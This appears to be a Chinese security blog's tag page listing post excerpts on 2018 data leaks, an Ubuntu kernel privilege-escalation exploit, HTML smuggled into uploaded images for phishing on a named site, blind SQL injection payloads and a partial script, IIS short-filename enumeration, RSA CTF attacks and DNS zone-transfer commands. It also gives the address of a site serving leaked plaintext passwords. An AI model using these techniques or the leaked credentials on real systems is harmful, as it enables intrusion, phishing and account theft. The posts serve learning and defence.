Tag:网络安全

Tag (网络安全)'s result:

聊聊近期的几起数据泄漏事件

0x00 14亿邮箱密码泄漏 6月10日,网上爆出一个邮箱密码查询网站: http://dumpedlqezarfife.onion.lu 可以按前缀查询14亿邮箱的明文密码,涉及Gamil、Hotmail、Yahoo、sina、qq、163、sohu、Aol等知名电邮厂商注册用户和一些公司企业、大学科研机构以及少量政府单位的邮箱使用用户。 还可以通过打赏获取这个14亿的数据库 ps:该网站在10号那天短暂成功访问后就需要fq访问了,18号又能正常不fq访问了,而且网站似乎修改过了,查询需要至少6过字符并包含@,截止发文该网站依旧又可以不fq访问了。 这批数据极可能是半年前4iQ发现的泄漏的那批41G的14亿数据,是252起数据泄漏事件的数据集合,包括Anti Public Combo List、Exploit.in dumps、LinkedIn等,还被整理成0-z的索引。 相关参考: www.freebuf.com/news/156986.html www.freebuf.com/news/174410.html www.4hou.com/info/news/9291.html   0x01 acfun 900万数据泄漏 6月13日,网上突然爆出acfun和摩拜被拖库,acfun的shell和内网权限在暗网出售的消息, 中午: 要洗白?接着没到晚上就有了这300条不带密码的数据 下午又公布了带md5密码的300条数据: 很快仓库就被删了…… 晚上: 这反差也太大了……   相关参考: www.freebuf.com/news/174703.html http://www.acfun.cn/a/ac4405547 http://www.4hou.com/info/news/12072.html   0x02 摩拜数据泄漏 摩拜回应经过排查未发现数据泄漏和入侵迹象,相关网络传言不实。   0x03 12306 3000万数据泄漏 6月13日下午,网传“2016年至2018年3月的3000万条12306数据”被泄漏,其中包括“手机号、密码、支付密码、姓名、身份证号码、答案”等内容,传言在暗网售价10个比特币。   0x04 51job 195万数据泄漏 前程无忧否认被拖库,称疑似撞库获得的帐号密码。   相关参考: https://www.t00ls.net/articles-46406.html   0x05 结语 Acfun被拖库是感觉正常的了,从开发到运维再到内部管理,都有安全隐患,比如密码只是md5一下……(貌似找回密码功能也有问题),而且还有用户登录才能升级密码策略,何不直接后台批量更新呢。 暗网很多虚假的贩卖信息,比如维品会泄漏和上述的12306泄漏,很可能都是假的。 当今时代,离不开网络,但也要注重个人隐私,能不给的信息尽量就不给吧。 关于保护密码的建议: 个人: 密码不要复用。 密码要复杂。 常改密码。 密码不要和个人信息有联系。   企业: 密码加密存储,salt至少6位。   关于darknet: 谨慎再谨慎,别轻易相信一些信息,尽量避免接触某些区域。   关于隐私: 能不给的资料就不给 能给假的就给假的…… 权限最小化,如app。 不要用隐私换取便利,因小失大。 关键要有意识,比如浏览器弹出:Do you want browser remeber the password?能习惯性选never。

Ubuntu本地提权(CVE-2017-16995)漏洞重现

0x00 概述 2018年3月,网上爆出ubuntu本地提权漏洞CVE-2017-16995的exp,这个漏洞是ebpf验证器计算错误导致的任意内存读写,使得攻击者获取root权限,据说这个exp十分犀利,秒aws秒阿里。 该exp地址:http://cyseclabs.com/exploits/upstream44.c   0x01 影响范围 Ubuntu 内核4.14-4.4(据说debian也受影响,但本人未发现成功的案例)   0x02 漏洞重现 测试环境:ubuntu 16.04 kernel 4.4.0-105   0x03 修复方案 修改内核参赛限制普通用户对bpf2的调用 echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled 升级内核版本到4.0-117   0x04 相关分析 若想深入了解该漏洞,可以参考以下资料 https://cert.360.cn/report/detail?id=ff28fc8d8cb2b72148c9237612933c11 https://xianzhi.aliyun.com/forum/topic/2212   0x05 参考资料 http://cyseclabs.com/exploits/upstream44.c www.freebuf.com/news/165608.html https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a

openresty服务器图片解析成html可进行钓鱼欺诈

0x00 概述 前几天在t00ls看到个帖子https://www.t00ls.net/articles-44378.html,顿时感觉超NB,攻击者可以利用这个问题在图片中插入任意js进行钓鱼欺诈,赶紧测试一下,果然重现成功!   0x01 漏洞重现 利用帖子作者给的测试站进行测试: new.hi.163.com 这里不用头像的上传点,用相册的上传点 在图片中插入js和html代码 抓包修改content-type为text/html 上传成功后等待一下审核,再复制缩略图的url打开 成功解析,重现成功! 看下返回的server,的确是openresty,但不一定就是openresty的问题。   0x02结语 据说许多大站(qq,kugou,163)都存在这个问题,听大神说是网易云存储nos的问题 但奇怪的是其他大站如企鹅,某狗都存在这个问题,难道都是用网易云存储?还是底层技术一样?又或者是openresty的配置问题?这个问题利用起来需要能上传图片,本人以前测试的时候遇到过许多打开图片是乱码的情况,可能就是把图片解析成html或者plain了。   0x03参考资料 https://www.t00ls.net/articles-44378.html

sql盲注之布尔盲注

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第二篇,介绍盲注中的布尔盲注。   0x01 布尔盲注原理 关注于sql语句是否执行成功,而页面只返回true或false。 主要函数: left(x,y): 获取x的前y位。 substr(x,y,z): 获取y的从x开始的z位。 ascii()/ord(): 得字符的ascii值。 length(): 返回字符串长度。 ……   0x02 测试 Sqli-labs: less-8 1.判断注入 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ 返回false,不加’则返回true,由此判断为布尔盲注。 2. 猜解数据库名长度 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and length(database())=8–+ =8返回true则说明数据库长度为8,用二分法逐步缩小猜测范围。 3. 猜解数据库名 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr(database(),1,1)))=115–+ =115返回true,说明数据库名第一个字符ascii值115,即s,同理用二分法猜解余下7位字符,把1,1改2,1即可猜第二位字符,结果为security。 4. 猜解security第一个表名 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)))=101–+ =101返回true,说明security库第一个表名第一个字符为e,同理猜解出余下字符,猜解第二个表名则把limit 0,1改limit 1,1即可。(判断表名是否结束可以用>0判断,如果大于0都false则表示这个/所有表名猜解完了) 5. 猜解users表的第一个列名: 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)))=105–+ 返回true,则说明第一个列名的第一个字符为i,同理猜解余下的所有列名,有id,username,password 6. 猜解数据 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select password from users limit 0,1),1,1)))=68–+ =68返回true,说明第一个password数据的第一个字符是D,同理猜解余下的字符,为Dumb。   0x03 布尔盲注脚本 #coding:utf-8 #Author:LSA #Description:blind sqli boolean base script #Date:20171226 import requests import re import binascii import optparse import sys fdata = [] chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_’ def judge_vulnable(url): normal_rsp_length = requests.get(url).headers[‘content-length’] vuln_url = url + “‘” vuln_rsp_length = requests.get(vuln_url).headers[‘content-length’] if normal_rsp_length!=vuln_rsp_length: print ‘The url is vulnable!’ else: print ‘The url seems not vulnable’ def getDatabasesNum(url): for dbsNum in xrange(1,20): dbs_num_length_url = url + “‘ and (select length((select distinct table_schema from information_schema.tables limit {0},1)))>0–+” dbs_num_length_url_format = dbs_num_length_url.format(dbsNum) dbs_num_rsp_length = requests.get(dbs_num_length_url_format).headers[‘content-length’] if dbs_num_rsp_length == ‘722’: print ‘***Databases num is ‘ + str(dbsNum) + ‘***’ return dbsNum def getDatabases(url): databases = [] databasesNum = getDatabasesNum(url) for databaseIndex……

重温经典-IIS短文件名漏洞分析及利用

0x00 前言 早就听说过这个Bug,上古级别的漏洞,一直没有实战过,前段时间有幸遇到一个实例,顺便重温下这个经典漏洞。   0x01 利用条件 IIS+.NET都开启。   0x02 漏洞分析及利用 为了兼容ms-dos,对于一些长文件(或文件夹)名,windows会以win 8.3格式生成对应的短文件名。 格式是长文件名的(前6个字符)+(~)+(1到9)+(.)+(后缀前3位),如下图: 可以看出长文件名的短文件名是111111~1.txt。 而这个漏洞的原理就是构造出存在的短文件名返回404,不存在的短文件名返回400。 这里要利用*通配符,如ind*~1****返回404,and*~1****则返回400,由此可以暴力猜解短文件/文件夹名。 奉上实战测试效果图: 利用脚本:https://github.com/lijiejie/IIS_shortname_Scanner 利用此漏洞最明显的可以猜测后台地址,下载备份文件,sql文件,还可以dos攻击。   0x03 修复方案 1.禁止url中使用“~”或它的Unicode编码。 2.关闭windows的8.3格式功能。 3.修改注册列表HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1,再重启下机器。(此修改只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除), 4.如果web环境不需要asp.net的支持则可以进入Internet 信息服务(IIS)管理器 — Web 服务扩展 – ASP.NET 选择禁止此功能。 5.升级net framework 至4.0以上版本. 6.将web文件夹的内容拷贝到另一个位置,如E:\www到E:\www.back,然后删除原文件夹E:\www,再重命名E:\www.back到E:\www,如果不重新复制,则已存在的短文件名不会消失。   0x04 结语 猜不到后台时不妨试试,也许会给你一个惊喜。  

简谈RSA加密

0x00 概述 公钥加密算法,非对称加密,一般用公钥加密,私钥解密,密钥越长越难被破解,基于分解大素数这个数学难题,关键参数n(p*q),p,q,L,e,d。公钥(e,n),私钥(d,n)。密钥对(n,d,e)。密文c = 明文m的e次方 mod n,明文m = 密文c的d次方 mod n。 图1:rsa加密脑图(来源:www.freebuf.com/column/148185.html)   0x01 简谈原理 如何生成密钥对? 选取两个大质数p,q。 n = p * q。 L = (p-1)*(q-1)。 选取e,要求与L互质且1<e<n。 d * e = 1 (mod L * i),i = 1,2,3,4…。 或d * e = L * i + 1,i=1,2,3,4…。 即已知e,对ex + Ly = 1求解 或用python的gmpy2库的invert函数解释 invert(x, m) returns y such that x * y == 1 modulo m, or 0 if no such y exists. 传入e和L即可返回d   如何加解密? 公钥加密:c = m的e次方 mod n 私钥解密:m = c的d次方mod n 用python的pow(c,d,n)即可解出明文。   0x02 ctf中的rsa题 用实验吧的3道ctf题来巩固下rsa加密算法。 1. 已知p,q,e求d www.shiyanbar.com/ctf/1828 直接上脚本: #coding:utf-8 import gmpy2 p,q,e = gmpy2.mpz(473398607161),gmpy2.mpz(4511491),gmpy2.mpz(17) L = (p – 1) * (q – 1) d = gmpy2.invert(e,L) print d 结果:125631357777427553   2.已知p,q,e,c,求m www.shiyanbar.com/ctf/1979 思路:先求出d,再求n,最后pow(c,d,n)即可。 上脚本: #coding:utf-8 import gmpy2 p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483L q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407L e = 65537L c= 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034L L = (p – 1) * (q – 1) d = long(gmpy2.invert(e, L)) n = p * q print pow(c, d, n) 结果:5577446633554466577768879988   3. 已知公钥和c,求m www.shiyanbar.com/ctf/730 下载的文件是公钥和c。 思路:通过公钥算出n,e,再分解n得p,q,利用p,q,e算出d,最后pow(c,d,n)收工。 这里关键是分解n得p,q,可以利用工具yafu的factor(n)得p,q,这个工具分解小的n还可以,分解大n就很慢了,由于这题的n很大,所以利用这个开源工具https://github.com/pablocelayes/rsa-wiener-attack直接求d,几乎是秒出。 getd.py脚本如下(来源:www.freebuf.com/column/148185.html): #!/usr/bin/python import ContinuedFractions,Arithmetic import time import sys import binascii sys.setrecursionlimit(100000) # modulus from the RSA public key n=input(“input n:”) # exponent from the RSA public key e=input(“input e:”) def hack_RSA(e,n): print “Performing Wiener’s attack. Don’t Laugh…” time.sleep(1) frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac) for (k,d) in convergents: #check if d is actually the key if k!=0 and (e*d-1)%k == 0: phi = (e*d-1)//k s = n – phi + 1……

DNS域传送漏洞总结

0x00 概述 如果对dns不熟悉,可先阅读一文读懂域名解析流程 DNS服务器分为主服务器,备份服务器,缓存服务器。备份服务器需要利用“域传送”从主服务器上copy数据,然后更新自身的数据库,以达到数据同步的目的,这样是为了增加冗余,万一主服务器挂了还有备份服务器顶着。而“域传送”漏洞则是由于dns配置不当,本来只有备份服务器能获得主服务器的数据,由于漏洞导致任意client都能通过“域传送”获得主服务器的数据(zone数据库信息)。这样,攻击者就能获得某个域的所有记录,甚至整个网络拓扑都暴露无遗,同时节省了信息收集的时间,还提升了准确度等等。 0x01 域传送漏洞检测 1. nslookup (1)nslookup -type=ns xxx.yyy.cn 查询解析此域名的dns服务器 (2)nslookup进入交互 (3)server dns.xxx.yyy.cn 指定dns服务器 (4)ls xxx.yyy.cn列出域信息 检测结果如图: 2. dig 命令:dig @dns.xxx.yyy.cn axfr xxx.yyy.cn @指定dns服务器,axfr查询类型域传送 可以看出能获得a,ns,mx,txt等记录,nslookup好像只能获取a和ns记录。成功特征:XFR size。 3. nmap 命令:nmap –script dns-zone-transfer –script-args dns-zone-transfer.domain=xxx.yyy.cn -p 53 -Pn dns.xxx.yyy.cn 4. 批处理和脚本 Win下可以写批处理更加方便,脚本可以用dnspython或者nslookup结合dig,网上有很多相关代码可以参考。   0x02 结语 一个简单的漏洞,但危害不可小觑。   0x03 参考资料 blog.csdn.net/c465869935/article/details/53444117 www.lijiejie.com/dns-zone-transfer-1/ https://www.waitalone.cn/dns-domain-transfer-exploits.html

浅析数字证书和数字签名

0x00 前言 看了网上不少关于这类的文章,百花齐放,各有优缺,本人对这方面也有些地方不甚了解,故有此文以记录总结。   0x01 加密算法与哈希简介 1. 加密算法: 1.1 对称加密:加解密用相同密钥。大量密钥管理困难,但是加密速度块。 如:DES、3DES、AES、RC4、IDEA等 1.2 非对称加密:分为公/私钥,公钥加密只能私钥解密,反之亦然。公钥公开,私钥自藏。安全性高密钥管理方便但是加密速度慢。 如:RSA、DSA、Diffie-Hellman、ECC等 2. 哈希算法: 用来生成摘要,原数据发生变化,哈希值必然变化,不可逆,几乎不可能找到不同数据哈希值相同的情况(不包括md4,md5哈)。 如:MD5、SHA-1、SHA-256、MAC、CRC等   0x02 概览数字签名和数字证书 以Alice,Bob,doug为例子 公钥公开所以这里每个人都有其他两人的公钥。 Alice给Bob写情书,先对情书(iloveu)进行hash成摘要,在用Alice的私钥加密摘要,这就形成了数字签名,Alice把情书,自己的公钥和签名一起发给Bob。 Bob收到情书后,用Alice的公钥解密摘要,解密成功则说明发送者的确是Alice,再对情书进行hash成摘要,与刚刚解密成功的摘要比对,一样则说明情书内容没被篡改。 但是doug也喜欢Alice,并且是顶级hacker,他截获了Alice给Bob的情书,修改了情书内容(ihateu),并生成hash摘要,再用自己的私钥加密摘要形成签名,再把情书,自己的公钥和签名发给Bob。 此时Bob还以为公钥是Alice的,因为他不懂MITM,gg。 N年后,Bob对Alice说,我不确定公钥是不是你的,你快去CA搞个证书,于是Alice去CA开了个证书,内容包括 Subject Name: Alice的信息,国家,地点,域名等 Issuer Name: 证书颁发机构信息 Public Key: Alice的公钥 Signature algorithm : 采用的摘要算法 Valid before/after: 证书有效时间 FingerPrints: 证书的签名, 由颁发机构用自己的私钥加密, 用颁发机构的公钥可以解密签名获得证书的摘要, 如果这个摘要与用户计算出的摘要一致,那么这个证书就是可以信任的。 这就是数字证书,以后Alice给Bob发情书,数字签名和数字证书就ok了,Bob用CA公钥就可以解密数字签名进行验证,就确定了Alice真实的公钥即证书包含的公钥。 附上网上找的比较形象的图:   0x03 数字签名 用途1:验证发送方身份 用途2:数据完整性验证 签名过程:计算摘要->私钥加密 验证过程:公钥解密的摘要1->计算数据摘要2->比较摘要1和摘要2是否相同   0x04 数字证书 用途:证明发送方身份的确是发送方(证明我是我……),包含发送方公钥。 由第三方权威机构CA颁发,网站(https)和软件都可以有数字证书。 浏览器会验证https网站的证书是否有问题,如颁发机构是否有效、证书中的域名和访问的域名是否一致、证书是否过期、是否被吊销等。 安装软件时如果没有数字签名操作系统会有风险提示。 CA颁发的数字证书无法伪造,因为证书包括了CA用自己的私钥(统一密钥对)加密证书摘要形成的签名(CA私钥泄漏除外),那我们去哪里找CA的公钥来验证呢? 原来CA自己也有自己生成的数字证书(根证书),里面就有CA的公钥,这些CA的数字证书已经被操作系统开发机构安装在操作系统或内置在浏览器中了,微软等公司会根据一些权威安全机构的评估选取一些信誉很好并且通过一定的安全认证的CA,把这些CA的证书默认就安装在操作系统里面了,并且设置为操作系统信任的数字证书。这些CA自己持有与他自己的数字证书对应的私钥,他会用这个私钥加密所有他发布的证书的摘要作为数字签名。 所以,浏览https网站时,浏览器会读取网站的数字证书中的 Issuer Name,再从受信任的证书中找是否有这个机构,如果没有,则说明证书不可信,给出警告;如果有,则用公钥解密进行验证。 Win7操作系统内置证书如下图: ‘   0x05 用例 先来看看数字签名和数字证书是如何运用在HTTPS中的。 浏览器去请求一个https的网站,接着网站返回自己的数字证书,浏览器在受信任的证书中寻找这个机构的证书,如下图为火狐浏览器的受信任证书 如果数字证书记载的域名与你正在浏览的网址不一致,就说明这张证书可能被冒用,浏览器会发出警告。 //下图为网上找的ie浏览器警告 如果是不受信任的证书,浏览器警告如下图 //下图为网上找的ie浏览器警告 如果数字证书是受信任的,则取出网站的公钥,进行后续的握手协商。 再来看看数字签名和数字证书在软件上的运用 以360安装包为例: 右图就是信任证书链,就是信任上一个证书,下面的证书都可以信任。 如果软件的数字签名无效,则可能被捆绑木马,被篡改。 证书受信任的话操作系统会弹出如下图 最后对根证书来张合影   0x05 结语 由于时间仓促和本人才疏学浅,可能有些细节会遗漏或不太详细,欢迎共同交流!   0x06 参考资料   https://www.zhihu.com/question/52493697 http://www.ruanyifeng.com/blog/2011/08/what_is_a_digital_signature.html http://www.jianshu.com/p/94d3e512953d http://www.cnblogs.com/hanganglin/p/6538291.html http://www.cnblogs.com/jeffreysun/archive/2010/06/24/1627247.html http://codefine.co/1455.html https://irgb.github.io/HTTPS_TLS_Certificate/